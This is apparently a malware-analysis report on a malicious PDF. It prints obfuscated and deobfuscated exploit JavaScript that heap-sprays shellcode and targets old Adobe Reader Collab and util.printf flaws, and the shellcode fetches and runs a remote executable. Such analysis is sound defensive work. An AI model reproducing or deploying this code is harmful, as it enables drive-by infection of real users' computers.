3OCU1NiU2MiUzMSU1MCU3NCUyOCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyYyUyMCU2YyU2MiU2ZiU1MCU0MyU1MyU2OCU3MSU0OCU3YSUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0NSU1OCU1NSU2MSU3NSUzMSUzOSU2YyU1MiU0YyUyMCUzZCUyMCUyOCU3MyU2YSU0YSU2NiUzMCU1NyUzOSU3MiU0ZCU1MSUyMCUyZCUyMCUzMCU3OCUzNCUzMCUzMCUzMCUzMCUzMCUyOSUyMCUyZiUyMCU0YSU2YiUzNCUzMCU0ZiU1NiU3NiU1NCU3OCU3NiUzYiUyMCUyMCUyMCUyMCUyMCU2NiU2ZiU3MiUyOCU3NiU2MSU3MiUyMCU0ZCU0NCUzNiUzMCU0ZSU1NSU2NiU0YSU3OCU2MyUyMCUzZCUyMCUzMCUzYiUyMCU0ZCU0NCUzNiUzMCU0ZSU1NSU2NiU0YSU3OCU2MyUyMCUzYyUyMCU0NSU1OCU1NSU2MSU3NSUzMSUzOSU2YyU1MiU0YyUzYiUyMCU0ZCU0NCUzNiUzMCU0ZSU1NSU2NiU0YSU3OCU2MyUyYiUyYiUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3OSU0MyU1NSU0YyU0YiU0NyU3MiU0MyU1MSU1NSU1YiU0ZCU0NCUzNiUzMCU0ZSU1NSU2NiU0YSU3OCU2MyU1ZCUyMCUzZCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyMCUyYiUyMCU2ZiUzNiU1NyU0ZCU1NiU1OSU3MSU1MiU0MyU0YiUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCU3ZCUyMCUyMCIpKTsgIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU0NSUzMCU1MiU3NSU2NSU3NyU2YiU2NyU1YSU1MiUyOCUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2YiU2NCU3YSU2MSU0NCU3NCU2MSU0ZCU2NSUzMiUyMCUzZCUyMCUzMCUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZCUyMCU2MSU3MCU3MCUyZSU3NiU2OSU2NSU3NyU2NSU3MiU1NiU2NSU3MiU3MyU2OSU2ZiU2ZSUyZSU3NCU2ZiU1MyU3NCU3MiU2OSU2ZSU2NyUyOCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU2MSU3MCU3MCUyZSU2MyU2YyU2NSU2MSU3MiU1NCU2OSU2ZCU2NSU0ZiU3NSU3NCUyOCU3MCU0ZSU2NyU2MiU2NSU0OCU2NCU3MCU0OCU3MyUyOSUzYiUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCUyOCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZSUzZCUyMCUzOCUyMCUyNiUyNiUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzYyUyMCUzOCUyZSUzMSUzMCUzMiUyOSUyMCU3YyU3YyUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzYyUyMCUzNyUyZSUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyUzNiU1NyU1MCUzMyU1NCU3NiU2NSU1NSU0YyUyOCUzMCUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1MCU0MiU0ZiU2MyUzNyUzMyU1OSU3MiU2YSUzOSUyMCUzZCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSUzMCU2MyUzMCU2MyUyNSU3NSUzMCU2MyUzMCU2MyUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU1MCU0MiU0ZiU2MyUzNyUzMyU1OSU3MiU2YSUzOSUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUzYyUyMCUzNCUzNCUzOSUzNSUzMiUyOSUyMCU1MCU0MiU0ZiU2MyUzNyUzMyU1OSU3MiU2YSUzOSUyMCUyYiUzZCUyMCU1MCU0MiU0ZiU2MyUzNyUzMyU1OSU3MiU2YSUzOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0MiU2ZiU2ZCU0OCU0ZiUzMSU0MiU3YSU0ZSU3MCUyMCUzZCUyMCU3NCU2OCU2OSU3MyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1NiUzNiU2MSU0NyU3MyU1NCU3NSU0MSUzMyU3MiUyMCUzZCUyMCU0MyU2ZiU2YyU2YyU2MSU2MiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU0MiU2ZiU2ZCU0OCU0ZiUzMSU0MiU3YSU0ZSU3MCU1YiUyMiU2MyU2ZiU2YyU2YyU2MSU2MiU1MyU3NCU2ZiU3MiU2NSUyMiU1ZCUyMCUzZCUyMCU1NiUzNiU2MSU0NyU3MyU1NCU3NSU0MSUzMyU3MiU1YiUyMiU2MyU2ZiU2YyU2YyU2NSU2MyU3NCU0NSU2ZCU2MSU2OSU2YyU0OSU2ZSU2NiU2ZiUyMiU1ZCUyOCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MyU3NSU2MiU2YSUyMCUzYSUyMCUyMiUyMiUyYyUyMCU2ZCU3MyU2NyUyMCUzYSUyMCU1MCU0MiU0ZiU2MyUzNyUzMyU1OSU3MiU2YSUzOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCUyOCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZSUzZCUyMCUzOCUyZSUzMSUzMCUzMiUyMCUyNiUyNiUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzYyUyMCUzOCUyZSUzMSUzMCUzNCUyOSUyMCU3YyU3YyUyMCUyOCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZSUzZCUyMCUzOSUyMCUyNiUyNiUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzYyUyMCUzOSUyZSUzMSUyOSUyMCU3YyU3YyUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzYyUzZCUyMCUzNyUyZSUzMSUzMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NCU3MiU3OSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU2MSU3MCU3MCUyZSU2NCU2ZiU2MyUyZSU0MyU2ZiU2YyU2YyU2MSU2MiUyZSU2NyU2NSU3NCU0OSU2MyU2ZiU2ZSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyUzNiU1NyU1MCUzMyU1NCU3NiU2NSU1NSU0YyUyOCUzMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUyMCUzZCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSUzMCUzOSUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUzYyUyMCUzMCU3OCUzNCUzMCUzMCUzMCUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUyMCUyYiUzZCUyMCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUyMCUzZCUyMCUyMiU0ZSUyZSUyMiUyMCUyYiUyMCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2NyU0YiU0ZiU0YyU2MyU2ZSU0YyU2ZSU2ZCU2YSUyMCUzZCUyMCU2MSU3MCU3MCUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NyU0YiU0ZiU0YyU2MyU2ZSU0YyU2ZSU2ZCU2YSU1YiUyMiU2NCU2ZiU2MyUyMiU1ZCU1YiUyMiU0MyU2ZiU2YyU2YyU2MSU2MiUyMiU1ZCU1YiUyMiU2NyU2NSU3NCU0OSU2MyU2ZiU2ZSUyMiU1ZCUyOCU2MyU0NCUzNCU2ZSU3MSU0MSU3MSU1MCUzMiU1YSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YiU2NCU3YSU2MSU0NCU3NCU2MSU0ZCU2NSUzMiUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YiU2NCU3YSU2MSU0NCU3NCU2MSU0ZCU2NSUzMiUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2YiU2NCU3YSU2MSU0NCU3NCU2MSU0ZCU2NSUzMiUyMCUzZCUyMCUzMSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU2YiU2NCU3YSU2MSU0NCU3NCU2MSU0ZCU2NSUzMiUyMCUzZCUzZCUyMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZCUzZCUyMCUzOCUyZSUzMSUzMCUzMiUyMCU3YyU3YyUyMCU0YSU2YiU0NiU2ZSU3NCU2NCU0OCU1OSU3NyU0NiUyMCUzZCUzZCUyMCUzNyUyZSUzMSUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2MyUzNiU1NyU1MCUzMyU1NCU3NiU2NSU1NSU0YyUyOCUzMSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3MiU2ZSU2ZiU0NCUzNSU2OCU2OCU3YSU3MiU2YSUyMCUzZCUyMCUyMiUzMSUzMiUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUzOSUyMiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2NiU2ZiU3MiUyOCU2MSU0OCU3OCU3NCUzNiU2ZiUzNCU3NiU0NCUzNSUyMCUzZCUyMCUzMCUzYiUyMCU2MSU0OCU3OCU3NCUzNiU2ZiUzNCU3NiU0NCUzNSUyMCUzYyUyMCUzMiUzNyUzNiUzYiUyMCU2MSU0OCU3OCU3NCUzNiU2ZiUzNCU3NiU0NCUzNSUyYiUyYiUyOSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MiU2ZSU2ZiU0NCUzNSU2OCU2OCU3YSU3MiU2YSUyMCUyYiUzZCUyMCUyMiUzOCUyMiUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0YiU2ZCU1MCU3NCUzOCUzMiU2OCU1NCU2ZiU1NCUyMCUzZCUyMCU3NSU3NCU2OSU2YyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU0YiU2ZCU1MCU3NCUzOCUzMiU2OCU1NCU2ZiU1NCU1YiUyMiU3MCU3MiU2OSU2ZSU3NCU2NiUyMiU1ZCUyOCUyMiUyNSUzNCUzNSUzMCUzMCUzMCU2NiUyMiUyYyUyMCU3MiU2ZSU2ZiU0NCUzNSU2OCU2OCU3YSU3MiU2YSUyOSUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCU3ZCUyMCUyMCIpKTsgDQogYXBwLkZSSDFlTWlNTFogPSBFMFJ1ZXdrZ1pSOw0KIHBOZ2JlSGRwSHMgPSBhcHAuc2V0VGltZU91dCgiYXBwLkZSSDFlTWlNTFooKSIsIDEpOw0K"); var sssddd = eval; sssddd(aasd);
`generic_stage_recovery_000.js`	deobfuscated-js	generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6	5210 bytes
SHA-256: `af1315588e4f3c81c8b18dd59b1526202bde4c36b1a2755bfa40d1db7f506f2f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var yCULKGrCQU = new Array(); var pNgbeHdpHs; var lave = eval; lave(unescape(" function MWhwxVb1Pt(m37jNRzFdQ, lboPCShqHz) { while(m37jNRzFdQ.length * 2 < lboPCShqHz) { m37jNRzFdQ += m37jNRzFdQ; } m37jNRzFdQ = m37jNRzFdQ.substring(0, lboPCShqHz / 2); return m37jNRzFdQ; } ")); lave(unescape(" function c6WP3TveUL(tiNdSl6R1i) { if(tiNdSl6R1i == 0) { var sjJf0W9rMQ = 0x0c0c0c0c; var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(tiNdSl6R1i == 1) { sjJf0W9rMQ = 0x30303030; var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(tiNdSl6R1i == 2) { var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var Jk40OVvTxv = 0x400000; var DpfVVp2dgO = o6WMVYqRCK.length * 2; var lboPCShqHz = Jk40OVvTxv - (DpfVVp2dgO + 0x38); var m37jNRzFdQ = unescape("%u9090%u9090"); m37jNRzFdQ = MWhwxVb1Pt(m37jNRzFdQ, lboPCShqHz); var EXUau19lRL = (sjJf0W9rMQ - 0x400000) / Jk40OVvTxv; for(var MD60NUfJxc = 0; MD60NUfJxc < EXUau19lRL; MD60NUfJxc++) { yCULKGrCQU[MD60NUfJxc] = m37jNRzFdQ + o6WMVYqRCK; } } ")); lave(unescape(" function E0RuewkgZR() { var kdzaDtaMe2 = 0; var JkFntdHYwF = app.viewerVersion.toString(); app.clearTimeOut(pNgbeHdpHs); if((JkFntdHYwF >= 8 && JkFntdHYwF < 8.102) \|\| JkFntdHYwF < 7.1) { c6WP3TveUL(0); var PBOc73Yrj9 = unescape("%u0c0c%u0c0c"); while(PBOc73Yrj9.length < 44952) PBOc73Yrj9 += PBOc73Yrj9; var BomHO1BzNp = this; var V6aGsTuA3r = Collab; BomHO1BzNp["collabStore"] = V6aGsTuA3r["collectEmailInfo"]( { subj : "", msg : PBOc73Yrj9 } ); } if((JkFntdHYwF >= 8.102 && JkFntdHYwF < 8.104) \|\| (JkFntdHYwF >= 9 && JkFntdHYwF < 9.1) \|\| JkFntdHYwF <= 7.101) { try { if(app.doc.Collab.getIcon) { c6WP3TveUL(2); var cD4nqAqP2Z = unescape("%09"); while(cD4nqAqP2Z.length < 0x4000) { cD4nqAqP2Z += cD4nqAqP2Z; } cD4nqAqP2Z = "N." + cD4nqAqP2Z; var gKOLcnLnmj = app; gKOLcnLnmj["doc"]["Collab"]["getIcon"](cD4nqAqP2Z); kdzaDtaMe2 = 1; } else { kdzaDtaMe2 = 1; } } catch(e) { kdzaDtaMe2 = 1; } if(kdzaDtaMe2 == 1) { if(JkFntdHYwF == 8.102 \|\| JkFntdHYwF == 7.1) { c6WP3TveUL(1); var rnoD5hhzrj = "12999999999999999999"; for(aHxt6o4vD5 = 0; aHxt6o4vD5 < 276; aHxt6o4vD5++) { rnoD5hhzrj += "8"; } var KmPt82hToT = util; KmPt82hToT["printf"]("%45000f", rnoD5hhzrj); } } } } ")); app.FRH1eMiMLZ = E0RuewkgZR; pNgbeHdpHs = app.setTimeOut("app.FRH1eMiMLZ()", 1);
`generic_stage_recovery_001.js`	deobfuscated-js	generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6	5206 bytes
SHA-256: `40329035da7796e31bf3b4490f1a96a6fe70a7b9cf5e314f3fb97add5886cffd`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var yCULKGrCQU = new Array(); var pNgbeHdpHs; var lave = eval; lave(unescape(" function MWhwxVb1Pt(m37jNRzFdQ, lboPCShqHz) { while(m37jNRzFdQ.length * 2 < lboPCShqHz) { m37jNRzFdQ += m37jNRzFdQ; } m37jNRzFdQ = m37jNRzFdQ.substring(0, lboPCShqHz / 2); return m37jNRzFdQ; } ")); lave(unescape(" function c6WP3TveUL(tiNdSl6R1i) { if(tiNdSl6R1i == 0) { var sjJf0W9rMQ = 0x0c0c0c0c; var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(tiNdSl6R1i == 1) { sjJf0W9rMQ = 0x30303030; var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(tiNdSl6R1i == 2) { var o6WMVYqRCK = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var Jk40OVvTxv = 0x400000; var DpfVVp2dgO = o6WMVYqRCK.length * 2; var lboPCShqHz = Jk40OVvTxv - (DpfVVp2dgO + 0x38); var m37jNRzFdQ = unescape("%u9090%u9090"); m37jNRzFdQ = MWhwxVb1Pt(m37jNRzFdQ, lboPCShqHz); var EXUau19lRL = (sjJf0W9rMQ - 0x400000) / Jk40OVvTxv; for(var MD60NUfJxc = 0; MD60NUfJxc < EXUau19lRL; MD60NUfJxc++) { yCULKGrCQU[MD60NUfJxc] = m37jNRzFdQ + o6WMVYqRCK; } } ")); lave(unescape(" function E0RuewkgZR() { var kdzaDtaMe2 = 0; var JkFntdHYwF = app.viewerVersion.toString(); app.clearTimeOut(pNgbeHdpHs); if((JkFntdHYwF >= 8 && JkFntdHYwF < 8.102) \|\| JkFntdHYwF < 7.1) { c6WP3TveUL(0); var PBOc73Yrj9 = unescape("%u0c0c%u0c0c"); while(PBOc73Yrj9.length < 44952) PBOc73Yrj9 += PBOc73Yrj9; var BomHO1BzNp = this; var V6aGsTuA3r = Collab; BomHO1BzNp["collabStore"] = V6aGsTuA3r["collectEmailInfo"]( { subj : "", msg : PBOc73Yrj9 } ); } if((JkFntdHYwF >= 8.102 && JkFntdHYwF < 8.104) \|\| (JkFntdHYwF >= 9 && JkFntdHYwF < 9.1) \|\| JkFntdHYwF <= 7.101) { try { if(app.doc.Collab.getIcon) { c6WP3TveUL(2); var cD4nqAqP2Z = unescape(" "); while(cD4nqAqP2Z.length < 0x4000) { cD4nqAqP2Z += cD4nqAqP2Z; } cD4nqAqP2Z = "N." + cD4nqAqP2Z; var gKOLcnLnmj = app; gKOLcnLnmj["doc"]["Collab"]["getIcon"](cD4nqAqP2Z); kdzaDtaMe2 = 1; } else { kdzaDtaMe2 = 1; } } catch(e) { kdzaDtaMe2 = 1; } if(kdzaDtaMe2 == 1) { if(JkFntdHYwF == 8.102 \|\| JkFntdHYwF == 7.1) { c6WP3TveUL(1); var rnoD5hhzrj = "12999999999999999999"; for(aHxt6o4vD5 = 0; aHxt6o4vD5 < 276; aHxt6o4vD5++) { rnoD5hhzrj += "8"; } var KmPt82hToT = util; KmPt82hToT["printf"]("E000f", rnoD5hhzrj); } } } } ")); app.FRH1eMiMLZ = E0RuewkgZR; pNgbeHdpHs = app.setTimeOut("app.FRH1eMiMLZ()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.